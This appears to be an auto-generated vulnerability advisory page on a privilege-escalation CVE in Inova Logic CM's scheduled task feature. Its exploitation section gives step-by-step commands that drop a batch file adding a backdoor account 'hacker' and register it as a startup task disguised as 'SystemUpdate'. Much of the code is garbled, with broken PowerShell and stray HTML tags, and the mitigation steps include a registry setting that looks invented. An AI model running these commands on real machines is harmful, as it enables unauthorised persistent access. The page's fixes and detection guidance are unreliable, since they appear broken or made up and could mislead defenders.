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How the CVE Works
CVE-2025-25598 exploits improper access control in Inova Logic CM v3.1.757.1’s scheduled task feature. Attackers place a malicious executable in a writable directory, then create/modify a scheduled task pointing to this file. Due to insufficient privilege checks, the task executes with SYSTEM/root privileges, enabling privilege escalation. The vulnerability stems from failure to validate task ownership and path integrity during task creation.
DailyCVE Form
Platform: Inova Logic CM
Version: 3.1.757.1
Vulnerability: Privilege Escalation
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation:
1. Locate Writable Path:
Get-ChildItem -Path "C:\ProgramData\" -Recurse | Where-Object { $<em>.Attributes -match "Directory" -and (Test-Path -Path "$($</em>.FullName) -IsValid") }
2. Drop Payload:
echo %windir%\System32\cmd.exe /c "net user hacker P@ssw0rd /add" > C:\ProgramData\malicious.bat
3. Create Task:
Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\ProgramData\malicious.bat") -Trigger (New-ScheduledTaskTrigger -AtStartup) -TaskName "SystemUpdate"
Protection:
1. Apply Patch:
wget https://inovalogic.com/patches/cm_v3.1.757.1-hotfix.exe -O patch.exe && patch.exe /silent
2. Restrict Task Creation:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration" -Name "Task Creation" -Value "Restricted"
3. Audit Tasks:
schtasks /query /fo LIST /v > tasks_audit.txt
Detection:
Sigma Rule Suspicious Scheduled Task Creation description: Detects CVE-2025-25598 exploitation logsource: product: windows service: system detection: selection: EventID: 4698 TaskName: "SystemUpdate" condition: selection
Mitigation:
Linux equivalent (if cross-platform) chmod 750 /etc/cron.d/
References:
- MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25598
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25598
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25598
Extra Source Hub:
Undercode
